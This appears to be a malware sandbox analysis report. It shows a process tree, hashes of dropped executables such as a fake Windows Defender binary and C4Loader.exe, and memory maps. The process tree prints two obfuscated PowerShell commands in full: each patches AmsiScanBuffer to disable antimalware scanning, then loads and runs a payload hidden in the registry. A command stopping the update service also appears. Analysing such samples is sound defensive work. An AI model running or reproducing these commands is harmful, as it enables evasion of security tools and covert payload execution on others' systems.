$_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+[Char](101)+''+'m'+''+[Char](46)+'d'+[Char](108)+''+'l'+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+[Char](114)+''+'o'+'s'+[Char](111)+''+'f'+''+'t'+''+'.'+''+[Char](87)+'in'+[Char](51)+'2'+[Char](46)+''+'U'+'n'+[Char](115)+'a'+[Char](102)+''+[Char](101)+''+'f'+''+[Char](118)+''+'f'+''+'L'+'c'+[Char](109)+'L'+[Char](72)+''+'t'+'i'+[Char](87)+''+'v'+''+[Char](88)+'');$lKeVKSkmSBHRdx=$fvfLcmLHtiWvX.GetMethod(''+[Char](108)+'K'+'e'+''+[Char](86)+''+[Char](75)+'Sk'+[Char](109)+''+'S'+''+'B'+'H'+[Char](82)+''+[Char](100)+'x',[Reflection.BindingFlags]'P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+'c'+[Char](44)+'S'+[Char](116)+'at'+'i'+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$gMYqlqcksRCOVEyAwHd=fYzqdUOLUGWK @([String])([IntPtr]);$SjAaJUdTBrSpEAuWluwjPb=fYzqdUOLUGWK @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$yhjTITmNuKY=$fvfLcmLHtiWvX.GetMethod('G'+'e'+''+'t'+''+'M'+''+[Char](111)+''+'d'+''+[Char](117)+''+'l'+''+[Char](101)+'H'+'a'+''+[Char](110)+''+'d'+''+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+'.dl'+'l'+'')));$jqAoLTtVeoQLQI=$lKeVKSkmSBHRdx.Invoke($Null,@([Object]$yhjTITmNuKY,[Object](''+'L'+''+'o'+''+'a'+''+'d'+'L'+[Char](105)+''+'b'+''+[Char](114)+''+'a'+''+[Char](114)+'yA')));$YMeDgKdkKCfbPWUOT=$lKeVKSkmSBHRdx.Invoke($Null,@([Object]$yhjTITmNuKY,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+'a'+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$sUfqIWY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jqAoLTtVeoQLQI,$gMYqlqcksRCOVEyAwHd).Invoke(''+[Char](97)+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+'d'+'l'+''+'l'+'');$ASGWOEwPVbsqjKcGP=$lKeVKSkmSBHRdx.Invoke($Null,@([Object]$sUfqIWY,[Object]('Ams'+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+'B'+'u'+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$xpAIlZZJPd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YMeDgKdkKCfbPWUOT,$SjAaJUdTBrSpEAuWluwjPb).Invoke($ASGWOEwPVbsqjKcGP,[uint32]8,4,[ref]$xpAIlZZJPd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$ASGWOEwPVbsqjKcGP,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($YMeDgKdkKCfbPWUOT,$SjAaJUdTBrSpEAuWluwjPb).Invoke($ASGWOEwPVbsqjKcGP,[uint32]8,0x20,[ref]$xpAIlZZJPd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+[Char](84)+'WA'+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+'lers'+'t'+''+[Char](97)+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:neEtRJHElZaj{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$kNlADQJNPIAcPL,[Parameter(Position=1)][Type]$yCGogGgGdm)$wBGlSLcqrXP=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+'f'+[Char](108)+'ec'+[Char](116)+''+[Char](101)+'d'+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'n'+[Char](77)+''+[Char](101)+'mo'+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'dul'+'e'+'',$False).DefineType('M'+'y'+''+[Char](68)+''+[Char](101)+''+[Char](108)+'e'+'g'+'a'+[Char](116)+''+[Char](101)+''+[Char](84)+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+',P'+'u'+'b'+'l'+''+[Char](105)+'c'+','+''+[Char](83)+'e'+[Char](97)+''+'l'+''+'e'+'d'+[Char](44)+''+[Char](65)+''+'n'+''+'s'+''+[Char](105)+''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+'ut'+'o'+''+'C'+''+'l'+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$wBGlSLcqrXP.DefineConstructor('RTSp'+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+'H'+''+'i'+'d'+[Char](101)+'B'+'y'+''+[Char](83)+''+[Char](105)+''+'g'+','+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$kNlADQJNPIAcPL).SetImplementationFlags('Ru'+'n'+''+[Char](116)+''+'i'+'m'+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+'e'+'d');$wBGlSLcqrXP.DefineMethod('I'+[Char](110)+''+[Char](118)+'o'+[Char](107)+'e',''+[Char](80)+''+[Char](117)+'bl'+[Char](105)+''+[Char](99)+',H'+[Char](105)+''+'d'+'e'+'B'+'y'+'S'+''+[Char](105)+''+[Char](103)+''+','+'Ne'+'w'+'S'+'l'+''+[Char](111)+'t'+[Char](44)+''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+'l',$yCGogGgGdm,$kNlADQJNPIAcPL).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+'t'+''+'i'+''+'m'+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+'ed');Write-Output $wBGlSLcqrXP.CreateType();}$CmtIpwIRryprt=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'ys'+'t'+''+[Char](101)+''+'m'+''+[Char](46)+'d'+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+'cro'+'s'+'o'+[Char](102)+'t'+'.'+'W'+[Char](105)+''+[Char](110)+''+'3'+''+[Char](50)+''+[Char](46)+'U'+'n'+''+'s'+'a'+'f'+''+[Char](101)+''+'C'+'m'+[Char](116)+'I'+[Char](112)+''+'w'+''+'I'+''+[Char](82)+'r'+'y'+''+[Char](112)+'r'+[Char](116)+'');$zkxPdMtKfdSwfm=$CmtIpwIRryprt.GetMethod(''+[Char](122)+''+[Char](107)+''+[Char](120)+''+[Char](80)+''+[Char](100)+''+'M'+''+[Char](116)+''+'K'+'fd'+[Char](83)+''+[Char](119)+''+'f'+'m',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+'b'+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+'t'+'a'+'ti'+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$GvDGWiSQMEqFStjDDAM=neEtRJHElZaj @([String])([IntPtr]);$ZxiUTMkVfJVlvRVZNYJszs=neEtRJHElZaj @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gEhKkpSyBcr=$CmtIpwIRryprt.GetMethod('Ge'+[Char](116)+''+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+'e'+'H'+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+'n'+''+[Char](101)+''+'l'+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')));$JajLOZUqLOsAEK=$zkxPdMtKfdSwfm.Invoke($Null,@([Object]$gEhKkpSyBcr,[Object](''+'L'+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+'r'+'a'+[Char](114)+'y'+'A'+'')));$xXmGLeHxXyJlwYEzu=$zkxPdMtKfdSwfm.Invoke($Null,@([Object]$gEhKkpSyBcr,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+'a'+'l'+''+'P'+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+'c'+'t')));$MWoBRAf=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($JajLOZUqLOsAEK,$GvDGWiSQMEqFStjDDAM).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+'i'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$NKxNgeIzlXbENomIU=$zkxPdMtKfdSwfm.Invoke($Null,@([Object]$MWoBRAf,[Object]('A'+[Char](109)+''+'s'+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+'f'+'e'+''+[Char](114)+'')));$FomDDHjhjm=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xXmGLeHxXyJlwYEzu,$ZxiUTMkVfJVlvRVZNYJszs).Invoke($NKxNgeIzlXbENomIU,[uint32]8,4,[ref]$FomDDHjhjm);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$NKxNgeIzlXbENomIU,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xXmGLeHxXyJlwYEzu,$ZxiUTMkVfJVlvRVZNYJszs).Invoke($NKxNgeIzlXbENomIU,[uint32]8,0x20,[ref]$FomDDHjhjm);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+'F'+''+[Char](84)+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue(''+'d'+''+'i'+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](114)+''+'s'+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)1⤵
-
C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe"C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe"1⤵
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{3a31b16d-4229-4cda-9383-26776e0bf981}1⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc1⤵
- Launches sc.exe
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exeFilesize
3.7MB
MD5e2fb72e358e13e40ae8327c3a9df8165
SHA1b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA256d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
SHA512b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
19KB
MD50ca4d90455e439166038b6b899ae0675
SHA185ee4e79a3a6be33db02a7812aeba5509e99fc64
SHA25618c4c8b79d1eea466d731632f9939356375cf8823bb2d595be63a4b8d28580fe
SHA512f94a343fad6f505b6a25e9833148ee86f872658e029212f13ce0d2432e368735b6d91c84c674387d87d0eae54b35ea08fa1a42f98dcce494fb8e17b042acd2af
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD56539a34c74920a5c656922258c336b5f
SHA136a74be3126b4aa0deef6e094d6199b8f5056645
SHA2565427dfb4d22bef830b6f6b395b51489a791db48865572adfcb2f8c752293aae7
SHA512bceb8b61e27e0b710d144005ea93419a8299c70d87188cd8a40253fac32f0a297008f333a1576fa357c5442a395429865a327db8471e048c19f0a0de3b712615
-
C:\Users\Admin\AppData\Local\Temp\C4Loader.exeFilesize
2.7MB
MD543a0526a928f9daca9c953221406af8e
SHA134fdd0d94ecfe8c887ebb164068579013d2c611b
SHA25688e1fbd4e5494e3c2766300e8bab97edb08f3c7315c3d914b7d8b2dac25f8986
SHA5129632a96172d6db2d7b0e356a2bb661b397b3c8b380fbe151707322d204cee0ab82abbec4476ce6e43f5dfa67b9ae34d77909fbc966d431898b25dec9fbaea3fd
-
C:\Users\Admin\AppData\Local\Temp\C4Loader.exeFilesize
2.7MB
MD543a0526a928f9daca9c953221406af8e
SHA134fdd0d94ecfe8c887ebb164068579013d2c611b
SHA25688e1fbd4e5494e3c2766300e8bab97edb08f3c7315c3d914b7d8b2dac25f8986
SHA5129632a96172d6db2d7b0e356a2bb661b397b3c8b380fbe151707322d204cee0ab82abbec4476ce6e43f5dfa67b9ae34d77909fbc966d431898b25dec9fbaea3fd
-
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exeFilesize
3.7MB
MD5e2fb72e358e13e40ae8327c3a9df8165
SHA1b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA256d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
SHA512b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
-
C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exeFilesize
3.7MB
MD5e2fb72e358e13e40ae8327c3a9df8165
SHA1b40aceed9393e3d4c289b2cf477dd5dee76a39da
SHA256d6516a119c2c08859883d95f97b0bd4b2fb8fbad7d7fae6ed2d79b447177d408
SHA512b209805a5194ccf70a97a57685a1765bb1ef15480994a2737084805fa21f79a285a5a1f98d0857051bc03ad98a2c90d81b33bb49cde1e955ba9898e86d8697e9
-
C:\Users\Admin\AppData\Local\Temp\SysApp.exeFilesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
-
C:\Users\Admin\AppData\Local\Temp\SysApp.exeFilesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
-
C:\Users\Admin\AppData\Local\Temp\new2.exeFilesize
248KB
MD518ec6f65d276ea2173b26e7ca013190e
SHA1f24d95a1069ccbde30ece236d72c7553689c890b
SHA2565d5e9a03a29d4e638a175b889a5bb73fbcb0809ac83aa6966324fe86ac408d17
SHA51233e2c237be627d032d9b1db91aa8446b06b9526f55dffc68c8eec55aedd6a747f2231dc1a4ab730590bb1a4407136b78ff6fa472643078b03dc665f781e31573
-
C:\Users\Admin\AppData\Local\Temp\new2.exeFilesize
248KB
MD518ec6f65d276ea2173b26e7ca013190e
SHA1f24d95a1069ccbde30ece236d72c7553689c890b
SHA2565d5e9a03a29d4e638a175b889a5bb73fbcb0809ac83aa6966324fe86ac408d17
SHA51233e2c237be627d032d9b1db91aa8446b06b9526f55dffc68c8eec55aedd6a747f2231dc1a4ab730590bb1a4407136b78ff6fa472643078b03dc665f781e31573
-
memory/624-245-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmpFilesize
64KB
-
memory/632-204-0x0000000000000000-mapping.dmp
-
memory/1104-196-0x0000000000000000-mapping.dmp
-
memory/1408-201-0x0000000000000000-mapping.dmp
-
memory/1444-175-0x0000000000400000-0x0000000000420000-memory.dmpFilesize
128KB
-
memory/1444-174-0x0000000000000000-mapping.dmp
-
memory/1444-221-0x00000000071D0000-0x0000000007392000-memory.dmpFilesize
1.8MB
-
memory/1444-185-0x0000000005420000-0x000000000545C000-memory.dmpFilesize
240KB
-
memory/1444-211-0x00000000062C0000-0x0000000006336000-memory.dmpFilesize
472KB
-
memory/1444-224-0x00000000078D0000-0x0000000007DFC000-memory.dmpFilesize
5.2MB
-
memory/1444-184-0x00000000054F0000-0x00000000055FA000-memory.dmpFilesize
1.0MB
-
memory/1444-227-0x0000000007000000-0x0000000007050000-memory.dmpFilesize
320KB
-
memory/1444-215-0x0000000006700000-0x000000000671E000-memory.dmpFilesize
120KB
-
memory/1444-183-0x00000000053C0000-0x00000000053D2000-memory.dmpFilesize
72KB
-
memory/1444-182-0x0000000005920000-0x0000000005F38000-memory.dmpFilesize
6.1MB
-
memory/1532-195-0x0000000000000000-mapping.dmp
-
memory/1644-229-0x00007FFC36130000-0x00007FFC36325000-memory.dmpFilesize
2.0MB
-
memory/1644-214-0x00007FFC17580000-0x00007FFC18041000-memory.dmpFilesize
10.8MB
-
memory/1644-236-0x00007FFC35350000-0x00007FFC3540E000-memory.dmpFilesize
760KB
-
memory/1644-230-0x00007FFC35350000-0x00007FFC3540E000-memory.dmpFilesize
760KB
-
memory/1644-238-0x00007FFC36130000-0x00007FFC36325000-memory.dmpFilesize
2.0MB
-
memory/1716-210-0x0000000000000000-mapping.dmp
-
memory/1740-207-0x00007FF62A6E1938-mapping.dmp
-
memory/1844-240-0x0000000000000000-mapping.dmp
-
memory/1884-209-0x00007FFC17580000-0x00007FFC18041000-memory.dmpFilesize
10.8MB
-
memory/1884-212-0x00007FFC17580000-0x00007FFC18041000-memory.dmpFilesize
10.8MB
-
memory/2456-232-0x0000000140002314-mapping.dmp
-
memory/2456-239-0x00007FFC35350000-0x00007FFC3540E000-memory.dmpFilesize
760KB
-
memory/2456-237-0x00007FFC36130000-0x00007FFC36325000-memory.dmpFilesize
2.0MB
-
memory/2456-231-0x0000000140000000-0x0000000140029000-memory.dmpFilesize
164KB
-
memory/2456-241-0x00007FFC36130000-0x00007FFC36325000-memory.dmpFilesize
2.0MB
-
memory/2456-235-0x0000000140000000-0x0000000140029000-memory.dmpFilesize
164KB
-
memory/2468-242-0x0000000000000000-mapping.dmp
-
memory/2512-198-0x0000000000000000-mapping.dmp
-
memory/2768-243-0x0000000000000000-mapping.dmp
-
memory/2932-173-0x0000000005AA0000-0x0000000005AAA000-memory.dmpFilesize
40KB
-
memory/2932-166-0x0000000000A20000-0x0000000000CD4000-memory.dmpFilesize
2.7MB
-
memory/2932-160-0x0000000000000000-mapping.dmp
-
memory/2932-170-0x00000000055A0000-0x0000000005632000-memory.dmpFilesize
584KB
-
memory/2960-193-0x0000000000000000-mapping.dmp
-
memory/3008-140-0x0000000000400000-0x0000000000405000-memory.dmpFilesize
20KB
-
memory/3008-133-0x0000000000000000-mapping.dmp
-
memory/3008-134-0x0000000000400000-0x0000000000405000-memory.dmpFilesize
20KB
-
memory/3392-192-0x00007FFC174D0000-0x00007FFC17F91000-memory.dmpFilesize
10.8MB
-
memory/3392-205-0x00007FFC174D0000-0x00007FFC17F91000-memory.dmpFilesize
10.8MB
-
memory/3476-171-0x0000000000000000-mapping.dmp
-
memory/3572-197-0x0000000000000000-mapping.dmp
-
memory/3620-181-0x0000000001000000-0x000000000103E000-memory.dmpFilesize
248KB
-
memory/3620-177-0x0000000001000000-0x000000000103E000-memory.dmpFilesize
248KB
-
memory/3620-163-0x0000000000000000-mapping.dmp
-
memory/3856-202-0x0000000000000000-mapping.dmp
-
memory/3924-186-0x0000000002243000-0x0000000002747000-memory.dmpFilesize
5.0MB
-
memory/3924-200-0x000000000275B000-0x0000000002898000-memory.dmpFilesize
1.2MB
-
memory/3924-165-0x0000000000000000-mapping.dmp
-
memory/3924-222-0x0000000002243000-0x0000000002747000-memory.dmpFilesize
5.0MB
-
memory/4204-244-0x0000000000000000-mapping.dmp
-
memory/4284-132-0x0000000000000000-mapping.dmp
-
memory/4284-199-0x0000000000000000-mapping.dmp
-
memory/4808-203-0x0000000000000000-mapping.dmp
-
memory/4892-218-0x00007FFC17580000-0x00007FFC18041000-memory.dmpFilesize
10.8MB
-
memory/4892-223-0x000001D2DB1B0000-0x000001D2DB1CA000-memory.dmpFilesize
104KB
-
memory/4892-234-0x00007FFC17580000-0x00007FFC18041000-memory.dmpFilesize
10.8MB
-
memory/4892-216-0x000001D2DB120000-0x000001D2DB13C000-memory.dmpFilesize
112KB
-
memory/4892-217-0x000001D2DB140000-0x000001D2DB14A000-memory.dmpFilesize
40KB
-
memory/4892-228-0x000001D2DB1A0000-0x000001D2DB1AA000-memory.dmpFilesize
40KB
-
memory/4892-219-0x000001D2DB170000-0x000001D2DB18C000-memory.dmpFilesize
112KB
-
memory/4892-220-0x000001D2DB150000-0x000001D2DB15A000-memory.dmpFilesize
40KB
-
memory/4892-226-0x000001D2DB190000-0x000001D2DB196000-memory.dmpFilesize
24KB
-
memory/4892-225-0x000001D2DB160000-0x000001D2DB168000-memory.dmpFilesize
32KB
-
memory/4924-154-0x00000000077A0000-0x0000000007836000-memory.dmpFilesize
600KB
-
memory/4924-147-0x00000000061B0000-0x00000000061CE000-memory.dmpFilesize
120KB
-
memory/4924-158-0x0000000007870000-0x0000000007892000-memory.dmpFilesize
136KB
-
memory/4924-156-0x0000000007760000-0x000000000777A000-memory.dmpFilesize
104KB
-
memory/4924-152-0x00000000074E0000-0x00000000074FA000-memory.dmpFilesize
104KB
-
memory/4924-157-0x0000000007750000-0x0000000007758000-memory.dmpFilesize
32KB
-
memory/4924-151-0x0000000007B40000-0x00000000081BA000-memory.dmpFilesize
6.5MB
-
memory/4924-150-0x0000000006760000-0x000000000677E000-memory.dmpFilesize
120KB
-
memory/4924-155-0x0000000007710000-0x000000000771E000-memory.dmpFilesize
56KB
-
memory/4924-149-0x00000000758E0000-0x000000007592C000-memory.dmpFilesize
304KB
-
memory/4924-148-0x00000000071D0000-0x0000000007202000-memory.dmpFilesize
200KB
-
memory/4924-153-0x0000000007550000-0x000000000755A000-memory.dmpFilesize
40KB
-
memory/4924-146-0x0000000005B80000-0x0000000005BE6000-memory.dmpFilesize
408KB
-
memory/4924-145-0x0000000005AA0000-0x0000000005B06000-memory.dmpFilesize
408KB
-
memory/4924-144-0x0000000005210000-0x0000000005232000-memory.dmpFilesize
136KB
-
memory/4924-143-0x0000000005300000-0x0000000005928000-memory.dmpFilesize
6.2MB
-
memory/4924-159-0x0000000008770000-0x0000000008D14000-memory.dmpFilesize
5.6MB
-
memory/4924-142-0x0000000002BD0000-0x0000000002C06000-memory.dmpFilesize
216KB
-
memory/4924-141-0x0000000000000000-mapping.dmp
-
memory/4960-187-0x0000017CD74D0000-0x0000017CD74F2000-memory.dmpFilesize
136KB
-
memory/4960-189-0x00007FFC174F0000-0x00007FFC17FB1000-memory.dmpFilesize
10.8MB
-
memory/4960-190-0x00007FFC174F0000-0x00007FFC17FB1000-memory.dmpFilesize
10.8MB